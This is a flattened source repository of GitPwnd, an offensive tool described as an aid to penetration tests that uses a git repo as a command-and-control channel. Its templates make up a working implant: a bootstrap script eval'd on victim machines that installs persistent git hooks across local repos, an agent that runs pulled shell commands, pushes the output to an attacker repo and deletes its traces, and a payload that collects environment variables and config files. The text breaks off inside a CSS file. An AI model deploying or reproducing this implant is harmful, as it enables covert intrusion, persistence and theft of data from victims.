├── .gitignore ├── README.md ├── config.yml.example ├── gitpwnd ├── agent.py.template ├── bootstrap.py.template └── payload.py.template ├── requirements.txt ├── server ├── README.md ├── gitpwnd │ ├── __init__.py │ ├── controllers.py │ ├── static │ │ ├── css │ │ │ ├── bootstrap-grid.min.css │ │ │ ├── bootstrap-reboot.min.css │ │ │ ├── bootstrap.min.css │ │ │ └── prism.css │ │ └── js │ │ │ ├── bootstrap.min.js │ │ │ ├── jquery-3.1.1.min.js │ │ │ ├── prism.js │ │ │ └── tether.min.js │ ├── templates │ │ ├── index.html │ │ ├── layout.html │ │ ├── macros.html │ │ ├── nodes.html │ │ └── setup.html │ └── util │ │ ├── __init__.py │ │ ├── crypto_helper.py │ │ ├── file_helper.py │ │ ├── git_helper.py │ │ └── intel_helper.py ├── requirements.txt ├── run_ipython.sh ├── server.py ├── server_creds.yml.template └── tests │ ├── sample_intel.json │ └── test_intel_helper.py └── setup.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | .DS_Store 3 | *~ 4 | 5 | # These are auto-generated from a template 6 | bootstrap.py 7 | homebrew.python.ncc.plist 8 | server_creds.yml 9 | 10 | data/ 11 | config.yml 12 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # GitPwnd 2 | 3 | GitPwnd is a tool to aid in network penetration tests. GitPwnd allows an 4 | attacker to send commands to compromised machines and receive the results back 5 | using a git repo as the command and control transport layer. By using git as the 6 | communication mechanism, the compromised machines don't need to communicate 7 | directly with your attack server that is likely at a host or IP that's 8 | untrusted by the compromised machine. 9 | 10 | Currently GitPwnd assumes that the command and control git repo is hosted on 11 | GitHub, but this is just an implementation detail for the current iteration. 12 | The same technique is equally applicable to any service that can host a git 13 | repo, whether it is BitBucket, Gitlab, etc. 14 | 15 | ## Setup and Installation 16 | 17 | The GitPwnd setup script (`setup.py`) and server (`server/`) were written and 18 | tested using Python3, but Python 2.7 will likely work as well. The bootstrapping process 19 | to set up persistence on compromised machines was tested on Python 2.7. 20 | 21 | ### Set up GitPwnd 22 | ``` 23 | # Install Python dependencies 24 | $ pip3 install -r requirements.txt --user 25 | 26 | # Set up config 27 | $ cp config.yml.example config.yml 28 | # Configure config.yml with your custom info 29 | 30 | # Run the setup script 31 | $ python3 setup.py config.yml 32 | ``` 33 | 34 | ### Run the GitPwnd Server 35 | 36 | ~~~ 37 | $ cd server/ 38 | $ pip3 install -r requirements.txt --user 39 | $ python3 server.py 40 | ~~~ 41 | 42 | ## Contributing 43 | 44 | Contributions welcome! Please feel free to file an issue or PR and we'll get 45 | back to you as soon as possible. 46 | 47 | ## Version Info 48 | 49 | ### v0.1 50 | 51 | * Initial PoC feature-complete for BlackHat USA 2017. 52 | 53 | ## TODO 54 | 55 | * [ ] Write a much more descriptive README 56 | -------------------------------------------------------------------------------- /config.yml.example: -------------------------------------------------------------------------------- 1 | # This file, if passed as the first argument to `setup.py`, will be used for 2 | # the values for setting up gitpwnd. 3 | 4 | # Enter the git clone URL of a popular library in the language used by the 5 | # machine you're targeting. 6 | # e.g. If you're attacking a Ruby on Rails shop, choose a popular gem. 7 | benign_repo: "TODO" 8 | 9 | # The personal access token for the primary GitHub account, the one who will own 10 | # the private repo used for command and control 11 | # 12 | # This token needs the following permissions: 13 | # - The top-level checkbox for "repo" 14 | # - "gist" 15 | # - "delete_repo" 16 | # - "admin:repo_hook" 17 | main_github_token: "TODO" 18 | 19 | 20 | # The name to use for the private GitHub repo used for command and control. 21 | # Unless you have a specific reason not to, it's probably best to use the 22 | # same name as `benign_repo`. 23 | github_c2_repo_name: "TODO" 24 | 25 | 26 | # The personal access token for the secondary GitHub account. setup.py will generate 27 | # an SSH key and add it to this account which will then be given to compromised nodes. 28 | # Because of this, ensure that this account has minimal access to sensitive repos. 29 | # 30 | # NOTE: 31 | # - This token needs to have the following permissions: 32 | # - "admin:public_key" permission so that setup.py can add public keys. 33 | # - "repo" so that it can access the main repo that has been shared 34 | # - This does not need to be a paid GitHub account. It will be added as a collaborator 35 | # to the private GitHub account that owns the private command and control repo. 36 | secondary_github_token: "" 37 | 38 | # The name of the SSH key generated for the secondary GitHub account 39 | ssh_key_name: "gitpwnd" 40 | 41 | # URL to gitpwnd attacker server, must be reachable by GitHub 42 | # e.g. https:// or https:// 43 | # NOTE: The server runs by default on port 5000, so include the 44 | # port the server is running on in the below URL unless you're running 45 | # on 80 or 443. 46 | attacker_server: "TODO" 47 | -------------------------------------------------------------------------------- /gitpwnd/agent.py.template: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import os 4 | from subprocess import Popen, PIPE 5 | import imp 6 | import uuid 7 | import string 8 | 9 | ##################################################################### 10 | # These settings need to be customized before the agent is deployed # 11 | ##################################################################### 12 | 13 | # URL of our backdoored repo 14 | REPO_CLONE_URL = "$repo_clone_url" 15 | 16 | # Name to give the remote backdoored repo 17 | REMOTE_REPO_NAME = "$remote_repo_name" 18 | 19 | # Master branch for backdoored repo 20 | REMOTE_REPO_MASTER_BRANCH = "$remote_repo_master_branch" 21 | 22 | NODE_ID = "$node_id" 23 | 24 | RESULTS_FILE = "results.json" 25 | 26 | # Runs the passed string as a shell command 27 | def run_command(command): 28 | print("Running: %s" % command) 29 | proc = Popen(command, stdout=PIPE, stderr=PIPE, shell=True, universal_newlines=True) 30 | (out, err) = proc.communicate() 31 | print(out, err) 32 | return out, err 33 | 34 | # Adds a new remote to the git repo in the current directory 35 | def add_git_remote(remote_name, git_url): 36 | cmd = "git remote add %s %s" % (remote_name, git_url) 37 | run_command(cmd) 38 | 39 | def git_checkout_branch(branch_name): 40 | cmd = "git checkout -b %s" % (branch_name) 41 | run_command(cmd) 42 | 43 | def git_pull(remote_repo_name, remote_repo_master_branch): 44 | cmd = "git pull %s %s" % (remote_repo_name, remote_repo_master_branch) 45 | run_command(cmd) 46 | 47 | def git_add(files): 48 | cmd = "git add %s" % (files) 49 | run_command(cmd) 50 | 51 | def git_commit(message): 52 | cmd = "git commit -m '%s'" % (message) 53 | run_command(cmd) 54 | 55 | def git_push(remote_name, branch_name): 56 | cmd = "git push %s %s" % (remote_name, branch_name) 57 | run_command(cmd) 58 | 59 | # TODO: finish me 60 | # Eventually this will look at who the current node is and see what commands they should run 61 | def should_run_commands(repo_dir): 62 | return True 63 | 64 | # Load payload.py and run the commands it contains 65 | def run_payload(repo_dir): 66 | # the backdoored repo isn't on our path so load it's source directly so we can use it 67 | payload_module = imp.load_source('payload', os.path.join(repo_dir, 'payload.py')) 68 | 69 | payload = payload_module.Payload(NODE_ID) 70 | payload.run() 71 | payload.save_results() 72 | return payload 73 | 74 | def get_commit_info(): 75 | # TODO: eventually grab prior commit messages and use those or do some other 76 | # steps to make it look legit. For now just return mostly hardcoded values. 77 | return NODE_ID, "Make errors reported more clear" 78 | 79 | # Current state of the repo: 80 | # - Our backdoored repo has been added as a remote, named `remote_repo_name` 81 | # - We have an additional local branch we've saved command output into 82 | # 83 | # We want to get rid of all these things so that we're left with only the benign 84 | # remote and default master they'd see on GitHub/whatever. 85 | def hide_git_tracks(remote_repo_name, commit_branch): 86 | run_command("git checkout -b tmp") 87 | 88 | run_command("git branch -d %s" % commit_branch) # delete the new branch we created 89 | run_command("git branch -D master") # delete master in case commits from our backdoored repo have mingled 90 | run_command("git remote remove %s" % remote_repo_name) # remove backdoored remote 91 | 92 | run_command("git pull origin master") # get benign repo latest 93 | run_command("git checkout master") 94 | 95 | run_command("git branch -D tmp") 96 | 97 | # NOTE: this assumes we're in .git/hooks, or at least appends "../../" to __file__ 98 | def get_current_repo_root(): 99 | cur_file = os.path.dirname(os.path.realpath(__file__)) 100 | return os.path.abspath(os.path.join(cur_file, "..", "..")) 101 | 102 | def rewrite_script_add_node_id(path_to_this_script, node_id): 103 | print("[*] Rewriting node_id") 104 | with open(path_to_this_script, 'r') as f: 105 | templatized_this_file = string.Template(f.read()) 106 | 107 | replaced_contents = templatized_this_file.safe_substitute({"node_id": node_id}) 108 | 109 | with open(path_to_this_script, 'w') as f: 110 | f.write(replaced_contents) 111 | f.flush() 112 | 113 | def main(repo_dir, private_git_url, remote_repo_name, remote_repo_master_branch): 114 | path_to_this_script = os.path.abspath(__file__) 115 | # cd to REPO_DIR 116 | os.chdir(repo_dir) 117 | 118 | # Add the remote that will have commands for us 119 | add_git_remote(remote_repo_name, private_git_url) 120 | 121 | # checkout master of this new remote 122 | git_checkout_branch(remote_repo_name + "/" + remote_repo_master_branch) 123 | 124 | # If you wish to set tracking information for this branch you can do so with: 125 | # git branch --set-upstream-to=/ master 126 | 127 | # git pull 128 | git_pull(remote_repo_name, remote_repo_master_branch) 129 | 130 | # determine if you should run the commands 131 | if should_run_commands(repo_dir): 132 | 133 | commit_branch, commit_message = get_commit_info() 134 | 135 | # Generate node ID if we haven't already 136 | if commit_branch == "$node" + "_id": # have to break it up else this comparison will also get rewritten 137 | node_id = str(uuid.uuid4()) 138 | rewrite_script_add_node_id(path_to_this_script, node_id) 139 | commit_branch = node_id 140 | 141 | git_checkout_branch(commit_branch) 142 | 143 | # grab further changes server-side from the last time we pushed 144 | git_pull(remote_repo_name, commit_branch) 145 | 146 | # run the commands and save the results to file 147 | payload_obj = run_payload(repo_dir) 148 | 149 | # commit the results 150 | # the branch we'll commit this node's info to to push to the server 151 | git_add(RESULTS_FILE) 152 | 153 | # Git doesn't let you commit if you don't set user.name and user.email 154 | need_to_reset_git_info = False 155 | if git_commit_info_is_unset(): 156 | need_to_reset_git_info = True 157 | set_git_commit_info("Gitpwnd", "gitpwnd@nccgroup.trust") 158 | 159 | git_commit(commit_message) 160 | 161 | # push results 162 | git_push(remote_repo_name, commit_branch) 163 | 164 | # Clean up locally 165 | if need_to_reset_git_info: 166 | remove_git_commit_info() 167 | 168 | hide_git_tracks(remote_repo_name, commit_branch) 169 | else: 170 | print("[*] Skipping these commands, they're not for this node") 171 | 172 | run_command("git branch -D %s" % (remote_repo_name + "/" + remote_repo_master_branch)) 173 | 174 | # Is git's user.name or user.email unset? 175 | def git_commit_info_is_unset(): 176 | return_codes = [] 177 | for field in ["name", "email"]: 178 | out = subprocess.Popen("git config --get user.%s" % (field), stdout=subprocess.PIPE, shell=True) 179 | _ = out.communicate()[0] 180 | return_codes.append(out.returncode) 181 | 182 | # If either one didn't return a value, say that git info is unset 183 | if return_codes.count(0) != 2: 184 | return True 185 | return False 186 | 187 | # Unsets the git user.name and user.email 188 | def remove_git_commit_info(): 189 | run_command("git config --unset user.name") 190 | run_command("git config --unset user.email") 191 | 192 | # Sets git's user.name and user.email to provided values 193 | def set_git_commit_info(username, email): 194 | run_command("git config user.name %s" % username) 195 | run_command("git config user.email %s" % email) 196 | 197 | 198 | # This agent file has been placed in a hook file in the command and control 199 | # repo and is called by git hooks in other repos. 200 | if __name__ == "__main__": 201 | repo_dir = get_current_repo_root() 202 | main(repo_dir, REPO_CLONE_URL, REMOTE_REPO_NAME, REMOTE_REPO_MASTER_BRANCH) 203 | -------------------------------------------------------------------------------- /gitpwnd/bootstrap.py.template: -------------------------------------------------------------------------------- 1 | # This will be hosted in a private GitHub gist and piped into eval() 2 | # on a compromised node. 3 | # 4 | # It performs the following tasks: 5 | # 1. Finds where on the OS python libraries are stored. 6 | # 2. Clones the command and control repo there. 7 | # 3. Installs a git hook into the backdoored repo so that whenever a git command is ran, 8 | # new commands are pulled and their results pushed to the server. 9 | # - The primary code that does this is placed in a git hook in the command 10 | # and control repo. 11 | # 12 | # This repo includes a GitHub personal access token for the secondary account 13 | # so that it can receive commands and push results from the GitHub C2 repo. 14 | 15 | 16 | # This is the first thing ran on the victim computer after the backdoored 17 | # repo has been cloned. This file will be at the root of the repo 18 | 19 | import plistlib # builtin on OS X on Python 2.7 20 | import glob 21 | import sys 22 | import shutil 23 | import os 24 | import subprocess 25 | import time 26 | import string 27 | import site 28 | 29 | PUBLIC_GIT_URL = "$benign_repo" 30 | REPO_DIR_NAME = "$github_c2_repo_name" 31 | 32 | # The git clone URL for the command and control repo. Note that the secondary 33 | # user's personal access token is included in the URL so that this new machine 34 | # can clone and push to it. 35 | REPO_CLONE_URL = "$repo_clone_url" 36 | 37 | HOOK_TYPES = ["pre-push", "post-merge", "pre-commit"] 38 | DEFAULT_AGENT_HOOK = "post-merge.sample" 39 | 40 | def install_agent(c2_repo_base_dir, agent_code, hook_type): 41 | # http://githooks.com/ 42 | # post-merge hook is called whenever `git pull` is ran. 43 | # https://github.com/git/git/blob/master/Documentation/githooks.txt#L178 44 | agent_file = os.path.join(c2_repo_base_dir, ".git", "hooks", hook_type) 45 | 46 | with open(agent_file, "w") as f: 47 | f.write(agent_code) 48 | 49 | return agent_file 50 | 51 | # Undo any local changes that make us differ from master 52 | # Local changes can make mucking with branches difficult, see bootstrap_osx() for more details 53 | def undo_local_changes(): 54 | try: 55 | subprocess.check_output("git checkout -- *", shell=True) 56 | except subprocess.CalledProcessError: # check_output throws an exception if it returns non-zero status code 57 | print("[!] Undoing local changes failed") 58 | return False 59 | 60 | return True 61 | 62 | # When this bootstrap script is ran, origin points to our backdoored repo. 63 | # This method makes origin point to the official benign repo, covering our tracks. 64 | def make_remote_benign(c2_repo_dir, benign_git_url): 65 | orig_dir = os.path.abspath(os.curdir) 66 | 67 | try: 68 | os.chdir(c2_repo_dir) 69 | subprocess.check_output("git remote remove origin", shell=True) 70 | subprocess.check_output("git remote add origin " + benign_git_url, shell=True) 71 | 72 | # OK, now we need to cover our tracks - we've added the backdoor code in 73 | # additional commits past the benign repo's master. If we just tried to use 74 | # their master directly it wouldn't delete our additional commits. So instead we: 75 | # - Change to a temporary branch so we can delete master 76 | # - Grab their master branch and set it to ours 77 | # - Delete the temporary branch 78 | 79 | # git checkout -b tmp 80 | subprocess.check_output("git checkout -b tmp", shell=True) 81 | 82 | # git branch -d master 83 | subprocess.check_output("git branch -d master", shell=True) 84 | 85 | # git pull origin master 86 | subprocess.check_output("git pull origin master", shell=True) 87 | 88 | # git checkout master 89 | subprocess.check_output("git checkout master", shell=True) 90 | 91 | # git branch -d tmp 92 | subprocess.check_output("git branch -D tmp", shell=True) 93 | 94 | except subprocess.CalledProcessError: # check_output throws an exception if it returns non-zero status code 95 | print("[!] Changing the `origin` remote failed") 96 | return False 97 | 98 | finally: 99 | os.chdir(orig_dir) 100 | 101 | def find_base_repo_dir(): 102 | return site.USER_SITE # default package location for pip install --user 103 | # ~/Library/Python//lib/python/site-packages/ on OS X 104 | # ~/.local/lib/python/site-packages on Ubuntu 105 | 106 | def find_final_repo_location(): 107 | install_dir = find_base_repo_dir() 108 | if not os.path.exists(install_dir): 109 | os.makedirs(install_dir) 110 | 111 | # the directory we're going to clone the command and control repo to 112 | final_repo_location = os.path.join(install_dir, REPO_DIR_NAME) 113 | if os.path.exists(final_repo_location): 114 | if is_our_c2_repo(final_repo_location, DEFAULT_AGENT_HOOK): 115 | return False, final_repo_location # don't need to do anything, already installed 116 | else: 117 | final_repo_location += "-dev" 118 | if os.path.exists(final_repo_location) and is_our_c2_repo(final_repo_location, DEFAULT_AGENT_HOOK): 119 | return False, final_repo_location 120 | 121 | return True, final_repo_location 122 | 123 | 124 | # Checks if `dir_path` is the root of our command and control repo 125 | def is_our_c2_repo(dir_path, hook_type): 126 | agent_string = "hide_git_tracks" # arbitrary string that's unlikely to appear in not our hook 127 | 128 | agent_file = os.path.join(dir_path, ".git", "hooks", hook_type) 129 | if not os.path.isfile(agent_file): 130 | return False 131 | 132 | file_contents = open(agent_file, 'r').read() 133 | if agent_string in file_contents: 134 | return True 135 | 136 | return False 137 | 138 | # Returns the contents of what should be placed in the agent file 139 | def get_agent_code(c2_base_dir): 140 | # assume the agent file is agent.py in the root of the c2 repo 141 | agent_file_path = os.path.join(c2_base_dir, "agent.py") 142 | 143 | return open(agent_file_path, "r").read() 144 | 145 | # Run the agent in the command and control repo, which is responsible for 146 | # pulling new commands, running them, commiting the results, and pushing them 147 | # back to be received by the attacker server 148 | def run_agent(agent_path): 149 | subprocess.check_output(agent_path, shell=True) 150 | 151 | # Returns the contents that are going to be written to git hooks in the targeted 152 | # and other git repos on the victim machine 153 | def get_hook_contents(agent_file_path): 154 | return """#!/bin/bash 155 | %s & 156 | """ % agent_file_path 157 | 158 | def install_git_hook(git_repo_root_dir, hook_contents, hook_type): 159 | hook_file = os.path.join(git_repo_root_dir, ".git", "hooks", hook_type) 160 | 161 | with open(hook_file, "w") as f: 162 | f.write(hook_contents) 163 | 164 | subprocess.check_output("chmod u+x %s" % hook_file, shell=True) 165 | 166 | # Returns the absolute path to this base of this repo 167 | def find_root_of_git_repo(path): 168 | cur_dir = path 169 | while True: 170 | cur_dir = os.path.abspath(cur_dir) 171 | 172 | if cur_dir == "/": 173 | return None 174 | 175 | if os.path.isdir(os.path.join(cur_dir, ".git")): 176 | return cur_dir 177 | else: 178 | cur_dir = os.path.join(cur_dir, "..") 179 | 180 | def is_git_directory(path): 181 | exit_code = subprocess.call(["git", "status"], cwd=path, stdout=open(os.devnull, 'w'), stderr=subprocess.STDOUT) 182 | return (exit_code == 0) 183 | 184 | def find_git_repos(base_dir): 185 | git_repos = [] 186 | for directory in next(os.walk(base_dir))[1]: 187 | full_path = os.path.abspath(directory) 188 | if is_git_directory(full_path): 189 | git_repos.append(full_path) 190 | return git_repos 191 | 192 | # Wrapper for bootstrapping that does different things based on platform 193 | def bootstrap(): 194 | need_to_clone_repo, install_dir = find_final_repo_location() 195 | if not need_to_clone_repo: 196 | print("[!] Backdoor repo already installed in: %s" % install_dir) 197 | else: 198 | if not os.path.exists(install_dir): 199 | os.makedirs(install_dir) 200 | 201 | print(install_dir) 202 | subprocess.check_output("git clone %s %s" % (REPO_CLONE_URL, install_dir), shell=True) 203 | 204 | # Install agent code in cloned command and control repo 205 | agent_file_path = install_agent(install_dir, get_agent_code(install_dir), "post-merge.sample") 206 | print("[*] Installing agent to: %s" % agent_file_path) 207 | 208 | # chmod the agent so it's executable 209 | subprocess.check_output("chmod u+x %s" % agent_file_path, shell=True) 210 | 211 | run_agent(agent_file_path) 212 | 213 | hook_types = HOOK_TYPES 214 | cur_dir_root = find_root_of_git_repo(".") 215 | if cur_dir_root == "/": 216 | print("[!] Didn't find a git repo in this or parent directories until /") 217 | else: 218 | print("[*] Installing git hooks to: %s" % cur_dir_root) 219 | 220 | for hook in hook_types: 221 | install_git_hook(cur_dir_root, get_hook_contents(agent_file_path), hook) 222 | 223 | other_git_repos = find_git_repos(os.path.join(cur_dir_root, "..")) 224 | other_git_repos = [x for x in other_git_repos if x != cur_dir_root] # don't install where we already have 225 | for repo in other_git_repos: 226 | for hook in hook_types: 227 | install_git_hook(repo, get_hook_contents(agent_file_path), hook) 228 | 229 | # # Remove the backdoored git repo, set the public benign one to origin 230 | make_remote_benign(install_dir, PUBLIC_GIT_URL) 231 | 232 | if __name__ == "__main__": 233 | bootstrap() 234 | -------------------------------------------------------------------------------- /gitpwnd/payload.py.template: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | import json 4 | from subprocess import Popen, PIPE 5 | import uuid 6 | import datetime 7 | import pwd 8 | 9 | class Payload: 10 | 11 | ############################# 12 | ## Core required functions ## 13 | ############################# 14 | 15 | def __init__(self, node_id): 16 | self.results = {} 17 | self.node_id = node_id 18 | 19 | # This is the main() method that's called by compromised machines 20 | # Gather info/run commands and store the results in self.results 21 | def run(self): 22 | self.results["username"] = self.get_username() 23 | self.results["whoami"] = self.get_whoami() 24 | self.results["mac_address"] = self.get_mac_address() 25 | self.results["env"] = self.get_env() 26 | self.results["ifconfig"] = self.get_ifconfig() 27 | self.results["ps_services"] = self.get_services() 28 | 29 | self.results["node_id"] = self.get_node_id() 30 | self.results["python_version"] = self.get_python_version() 31 | self.results["service_configs"] = self.get_service_configs() 32 | self.results["time_ran"] = self.get_time_ran() 33 | 34 | 35 | # This is called after run() as the final step in the payload, saving the results 36 | # to a file. 37 | # - agent.py handles committing and pushing the results. 38 | def save_results(self, filename = "results.json"): 39 | with open(filename, 'w') as f: 40 | json.dump(self.results, f) 41 | 42 | 43 | ############# 44 | ## Helpers ## 45 | ############# 46 | 47 | # Runs the passed string as a shell command 48 | def run_command(self, command): 49 | print("[*] running: %s" % command) 50 | try: 51 | proc = Popen(command, stdout=PIPE, stderr=PIPE, shell=True, universal_newlines=True) 52 | (out, err) = proc.communicate() 53 | return {"stdout": out, "stderr": err} 54 | except: 55 | return {"stdout": "", "stderr": "Command threw an exception"} 56 | 57 | 58 | ################################################################# 59 | # Below are various helper functions to gather environment info # 60 | ################################################################# 61 | 62 | def get_python_version(self): 63 | print("[*] get_python_version") 64 | x = sys.version_info 65 | return {"major": x.major, "minor": x.minor, "micro": x.micro, 66 | "releaselevel": x.releaselevel} 67 | 68 | def get_env(self): 69 | return dict(os.environ) # dumping this to JSON fails unless you explicitly cast it to a dict 70 | 71 | def get_username(self): 72 | try: 73 | # apparently os.getlogin() is known to fail. Good job. 74 | # https://stackoverflow.com/questions/3100750/running-command-in-background 75 | # return os.getlogin() 76 | return pwd.getpwuid(os.geteuid()).pw_name 77 | except: 78 | return "os.getlogin() failed" 79 | 80 | def get_whoami(self): 81 | return self.run_command("whoami")["stdout"].strip() 82 | 83 | def get_ifconfig(self): 84 | return self.run_command("ifconfig") 85 | 86 | ############################################################################# 87 | #Payloads for Linux Priv Esc tasks # 88 | #Credit : https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/# 89 | ############################################################################# 90 | 91 | # Get running services 92 | def get_services(self): 93 | return self.run_command("ps aux") 94 | 95 | #Misconfigured Services and vuln plugins 96 | def get_service_configs(self): 97 | return { 98 | "syslog": self.run_command("cat /etc/syslog.conf"), 99 | "chttp": self.run_command("cat /etc/chttp.conf"), 100 | "lighthttpd": self.run_command("cat /etc/lighttpd.conf"), 101 | "cupsd": self.run_command("cat /etc/cups/cupsd.conf"), 102 | "inetd": self.run_command("cat /etc/inetd.conf"), 103 | "my": self.run_command("cat /etc/my.conf"), 104 | "httpd": self.run_command("cat /etc/httpd/conf/httpd.conf"), 105 | "httpd_opt": self.run_command("cat /opt/lampp/etc/httpd.conf") 106 | } 107 | 108 | # http://stackoverflow.com/questions/159137/getting-mac-address 109 | def get_mac_address(self): 110 | mac_addr = uuid.getnode() 111 | if mac_addr == uuid.getnode(): # apparently sometimes it'll lie, see the stack overflow link 112 | return ':'.join(("%012X" % mac_addr)[i:i+2] for i in range(0, 12, 2)) 113 | else: 114 | "maybewrong " + ':'.join(("%012X" % mac_addr)[i:i+2] for i in range(0, 12, 2)) 115 | 116 | def get_time_ran(self): 117 | return str(datetime.datetime.now()) 118 | 119 | def get_node_id(self): 120 | return self.node_id 121 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | PyGithub 2 | pyyaml 3 | ipdb 4 | -------------------------------------------------------------------------------- /server/README.md: -------------------------------------------------------------------------------- 1 | # GitPwnd Server 2 | 3 | The GitPwnd server listens for webhook pushes from GitHub (currently) or other 4 | git providers that occur when a `git push` has occurred to the command and 5 | control git repo set up by `../setup.py`. 6 | 7 | It then automatically extracts the output of the commands run by the 8 | compromised machine and stores them locally. 9 | 10 | The web interface then allows you to view the extracted information. 11 | 12 | ## Getting Set Up 13 | 14 | ~~~ 15 | $ pip install -r requirements.txt --user 16 | 17 | # or use virtualenv, etc 18 | ~~~ 19 | 20 | ## Running 21 | 22 | ~~~ 23 | $ python3 server.py 24 | ~~~ 25 | 26 | ## Routes 27 | 28 | Quick notes on important routes: 29 | 30 | * POST `/api/repo_push` - hook you set up in GitLab/GitHub/etc for the backdoored repo that sends a push whenever the repo is pushed to. 31 | * [GitHub docs](https://developer.github.com/webhooks/) 32 | * [Gitlab docs](https://gitlab.com/gitlab-org/gitlab-ce/blob/master/doc/user/project/integrations/webhooks.md) - will integrate in the future. 33 | 34 | -------------------------------------------------------------------------------- /server/gitpwnd/__init__.py: -------------------------------------------------------------------------------- 1 | from flask import Flask 2 | from gitpwnd.util.file_helper import FileHelper 3 | from flask_basicauth import BasicAuth 4 | import yaml 5 | import os 6 | import ipdb 7 | 8 | app = Flask(__name__) 9 | 10 | # Parse basic auth creds from file 11 | with open("server_creds.yml", 'r') as f: 12 | server_config = yaml.load(f) 13 | 14 | app.config['BASIC_AUTH_USERNAME'] = server_config["basic_auth_username"] 15 | app.config['BASIC_AUTH_PASSWORD'] = server_config["basic_auth_password"] 16 | app.config['HOOK_SECRET'] = server_config["hook_secret"] 17 | 18 | # TODO: fix the naming confusion. This is the path to a local version of the repo 19 | # we're using for command and control 20 | app.config["BACKDOORED_REPOS_PATH"] = os.path.dirname(server_config["benign_repo_path"]) 21 | 22 | app.config["APP_ROOT"] = os.path.dirname(os.path.abspath(__file__)) 23 | 24 | app.config["INTEL_ROOT"] = os.path.join(app.config["BACKDOORED_REPOS_PATH"], "..", "intel") 25 | app.config["INTEL_ROOT"] = os.path.abspath(app.config["INTEL_ROOT"]) 26 | 27 | basic_auth = BasicAuth(app) 28 | 29 | # Ensure some directories we'll be storing important things in are created 30 | FileHelper.ensure_directory(app.config["BACKDOORED_REPOS_PATH"]) 31 | FileHelper.ensure_directory(app.config["INTEL_ROOT"]) 32 | 33 | from gitpwnd import controllers 34 | -------------------------------------------------------------------------------- /server/gitpwnd/controllers.py: -------------------------------------------------------------------------------- 1 | from flask import Flask 2 | from flask import render_template 3 | from flask import redirect 4 | from flask import url_for 5 | from flask import request, session, send_file, send_from_directory 6 | from flask import make_response # for setting cookies 7 | import flask 8 | import ipdb 9 | import json 10 | 11 | from functools import wraps 12 | 13 | from gitpwnd import app, basic_auth 14 | from gitpwnd.util.git_helper import GitHelper 15 | from gitpwnd.util.file_helper import FileHelper 16 | from gitpwnd.util.intel_helper import IntelHelper 17 | from gitpwnd.util.crypto_helper import CryptoHelper 18 | 19 | # Basic auth adapted from the following didn't quite do what I wanted 20 | # http://flask.pocoo.org/snippets/8/ 21 | 22 | # Instead used: 23 | # https://flask-basicauth.readthedocs.io/en/latest/ 24 | 25 | ########## 26 | # Routes # 27 | ########## 28 | 29 | @app.route("/") 30 | @basic_auth.required 31 | def index(): 32 | return render_template("index.html") 33 | 34 | @app.route("/setup") 35 | @basic_auth.required 36 | def setup(): 37 | return render_template("setup.html") 38 | 39 | @app.route("/nodes") 40 | @basic_auth.required 41 | def nodes(): 42 | intel_results = IntelHelper.parse_all_intel_files(app.config["INTEL_ROOT"]) 43 | if len(intel_results) == 0: 44 | return render_template("nodes.html", intel=intel_results) 45 | else: 46 | intel_results = IntelHelper.json_prettyprint_intel(intel_results) 47 | return render_template("nodes.html", intel=intel_results) 48 | 49 | ############## 50 | # API Routes # 51 | ############## 52 | 53 | @app.route("/api/repo/receive_branch", methods=["POST"]) 54 | def receive_branch(): 55 | payload = request.get_json() 56 | secret = request.headers["X-Hub-Signature"] 57 | 58 | if not CryptoHelper.verify_signature(payload, secret): 59 | abort(500, {"message": "Signatures didn't match!"}) 60 | 61 | repo_name = payload["repository"]["name"] 62 | branch = payload["ref"].split("/")[-1] 63 | GitHelper.import_intel_from_branch(repo_name, branch, app.config["BACKDOORED_REPOS_PATH"], app.config["INTEL_ROOT"]) 64 | return "OK" 65 | -------------------------------------------------------------------------------- /server/gitpwnd/static/css/bootstrap-grid.min.css: -------------------------------------------------------------------------------- 1 | @-ms-viewport{width:device-width}html{-webkit-box-sizing:border-box;box-sizing:border-box;-ms-overflow-style:scrollbar}*,::after,::before{-webkit-box-sizing:inherit;box-sizing:inherit}.container{position:relative;margin-left:auto;margin-right:auto;padding-right:15px;padding-left:15px}@media (min-width:576px){.container{padding-right:15px;padding-left:15px}}@media (min-width:768px){.container{padding-right:15px;padding-left:15px}}@media (min-width:992px){.container{padding-right:15px;padding-left:15px}}@media (min-width:1200px){.container{padding-right:15px;padding-left:15px}}@media (min-width:576px){.container{width:540px;max-width:100%}}@media (min-width:768px){.container{width:720px;max-width:100%}}@media (min-width:992px){.container{width:960px;max-width:100%}}@media (min-width:1200px){.container{width:1140px;max-width:100%}}.container-fluid{position:relative;margin-left:auto;margin-right:auto;padding-right:15px;padding-left:15px}@media (min-width:576px){.container-fluid{padding-right:15px;padding-left:15px}}@media (min-width:768px){.container-fluid{padding-right:15px;padding-left:15px}}@media (min-width:992px){.container-fluid{padding-right:15px;padding-left:15px}}@media (min-width:1200px){.container-fluid{padding-right:15px;padding-left:15px}}.row{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-15px;margin-left:-15px}@media (min-width:576px){.row{margin-right:-15px;margin-left:-15px}}@media (min-width:768px){.row{margin-right:-15px;margin-left:-15px}}@media (min-width:992px){.row{margin-right:-15px;margin-left:-15px}}@media 